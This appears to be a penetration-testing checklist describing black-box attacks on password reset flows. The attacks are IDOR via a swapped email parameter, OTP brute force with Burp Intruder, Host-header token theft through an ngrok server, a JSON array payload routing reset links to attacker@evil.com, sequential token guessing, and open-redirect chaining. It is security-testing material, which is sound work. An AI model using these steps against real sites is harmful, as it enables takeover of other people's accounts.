Weak Password Reset Functionalities
Check List
Methodology
Black Box
The Exploitation Potential of IDOR in Password Recovery
Navigate to the Forgot Password page, typically found at /forgot-password, /reset-password, /account/recovery, or /login/forgot, where users initiate password reset requests
Enter a registered email address in the email field and submit the form to receive an OTP, capturing the request with Burp Suite to inspect the workflow
Locate the email parameter in the POST request body, often used to identify the account for reset and potentially passed unsanitized to the database or logic layer
After receiving the OTP for the first account, intercept the final password reset request with Burp Suite, modify the email parameter to a different registered email (test2@example.com), and forward it to change the target account’s password
Attempt to log in to the target account (test2@example.com) with the new password to confirm the IDOR vulnerability allowed unauthorized password reset
If login triggers an OTP request (6-digit code), note this as the final authentication barrier, then prepare to test for rate limiting weaknesses
Use Burp Suite’s Intruder to send multiple POST requests with the login endpoint (e.g., /login), iterating through 6-digit OTP combinations (000000 to 999999) in the OTP field, monitoring for a 200 OK response
If a 200 OK response is received (after ~20 minutes), use the guessed OTP to complete the login, verifying full account compromise due to lack of rate limiting
Test email or related parameters (username, user_id) on other authentication-related pages like /login, /account/settings, /profile/edit, or /reset, as these often handle user identification and may share similar vulnerabilities
Token Leak Via X-Forwarded-Host
Enter a registered email in the Forgot Password form and submit it to request a password reset token, intercepting the request with Burp Suite and starting an ngrok server
Locate the Host header in the intercepted request and add an X-Forwarded-Host header with an ngrok domain to redirect the token link
Check the email for the password reset link; if it contains the ngrok domain (https:/ngrokDomain/action-token?key=xyz), it confirms the poisoning vulnerability
Enter a victim’s email (victim@example.com) in the Forgot Password form, intercept the request, and add the X-Forwarded-Host header with the ngrok domain to redirect their token
Monitor the ngrok server; when the victim clicks the link, capture the token sent to the attacker’s domain, then use it to reset the victim’s password
Attempt to log in to the victim’s account with the new password to confirm full account takeover
Array Of Email Addresses Instead Of a Single Email Address.
Enter a single email in the password reset form and, if the request was in POST form, intercept the request with Burp Suite to change its text
Locate the email_address parameter in the POST request body, originally set as a single string ({"email_address":"xyz@gmail.com"})
Modify the email_address parameter to an array containing a victim’s email (admin@breadcrumb.com) and the attacker’s email (attacker@evil.com), sending the modified request
Change to {"email_address":["admin@breadcrumb.com","attacker@evil.com"]}
Check the attacker’s email for the password reset link; if received, it confirms the vulnerability allows token delivery to arbitrary addresses
Use the received token to access the password reset page (https://example.com/reset?token=xyz) and set a new password for the victim’s account
Attempt to log in to the victim’s account with the new password to confirm full account takeover
Account Take Over
Log in to the target site and go to the forgotten password page
Enter your email address so that the link can be sent to you after the process and During the process, use Burp Suite to intercept the request
Then, check in the intercepted request whether the parameters in the request Body include an address to the site itself
If the request parameter contains a site path, change that parameter to the attacker's address or ngrok address, etc., and then check your test email to see if clicking on the link redirects you to the attacker's address. If yes, the vulnerability is confirmed
s
Enter a registered username or email in the Forgot Password form and submit it to trigger the password reset process, inspecting the page source for AJAX requests with Burp Suite
Locate the API endpoint handling password reset tokens, such as /api/REDACTED/resetPasswordToken/ within the XMLHttpRequest responses generated in the background
Change the API endpoint request that is specific to resetting passwords to the form api/v1/resetpassword/<username> and enter it in the url and check whether the user information and tokens used are present in the response
Then, using the information provided, such as the username and token, create a link as follows: https://www.company.com/#/changePassword/<username>/<token>
Submit the crafted link to reset the target user’s password, then attempt to log in with the new password to confirm account takeover
Account Take Over via Token Parameter
Enter your email (attacker@example.com) and the admin’s email (admin@dashboard.example.com) in the Password Reset form on /login, submitting requests consecutively in two different tabs to generate tokens
Copy the password reset link for your account (https://dashboard.example.com/password-reset/form?token=28604) from the email into a notepad
Modify the token in the copied link to the next consecutive number (change 28604 to 28605) to target the admin’s token
Access the modified link, reset the admin’s password using the form, and note the success to confirm the vulnerability
Attempt to log in to the admin account with the new password to verify full account takeover
Open Redirect Account Take Over
Enter an email (my-email@gmail.com) in the forgotten password form and send a POST request to /ForgotPassword and use Burp Suite to look for parameters similar to returnUrl in the request body that redirect us to a path. These parameters
Locate the returnUrl parameter in the POST request body ({"email":"my-email@gmail.com","returnUrl":"/reset/password/:userId/:code"}) and modify it to an external URL (https://my-website.com/reset/password/:userId/:code)
Send the request and check for a 500 error, indicating the backend rejects external absolute URLs; then test with a relative path (//my-website.com/reset/password/:userId/:code) for a 200 response
Identify the open redirect vulnerability in the return parameter (https://app.target.com/login?return=https://google.com), then combine it by setting returnUrl to /login?return=https://my-website.com/reset/password/:userId/:code
Check the email for the reset link; if it contains the redirect (https://app.target.com/login?return=https://my-website.com/reset/password/{userID}/{Random-Code}), it confirms the vulnerability
Expires On Email Change
Enter your email (old-email@gmail.com) in the Password Reset form and submit it to generate a reset link, leaving it unused
Log in to your account and change the email to a new address (new-email@gmail.com), confirming the change, then log out
Access the old unused password reset link sent to old-email@gmail.com (https://example.com/reset?token=xyz) and submit it to reset the password
Set a new password using the reset form and submit it to update the account password
Attempt to log in with the new password to confirm the account takeover via the old token
Test email or related parameters (username, user_id) on other password reset-related endpoints like /reset, /password-reset, /account/recovery, or /user/reset, as these often handle token expiration and may share similar flaws
White Box
Cheat Sheet
Last updated